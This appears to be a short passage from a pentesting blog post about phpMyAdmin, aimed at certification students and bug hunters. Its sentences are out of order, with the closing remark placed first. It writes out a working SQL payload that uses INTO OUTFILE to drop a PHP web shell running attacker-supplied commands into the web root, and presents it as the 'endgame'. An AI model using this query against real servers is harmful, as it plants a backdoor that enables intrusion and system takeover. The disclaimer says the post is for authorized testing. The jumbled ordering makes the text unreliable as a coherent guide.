The next time you see that blue login screen, remember: it’s not just a database manager. It is often one SQL query away from a root shell. Want more "Hacktricks"? Check out the HackTricks GitHub repo for the ultimate cheat sheets.

For a sysadmin, it’s a tool. For a pentester, it is often the endgame .

This post is for educational purposes and authorized security testing only.

If you have ever taken a certification like OSCP, eJPT, or bug bounty hunted, you know the feeling: You open your browser, type http://target.com/phpmyadmin , and you are greeted by that iconic blue and yellow logon screen.

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"; Boom. You now have a web shell.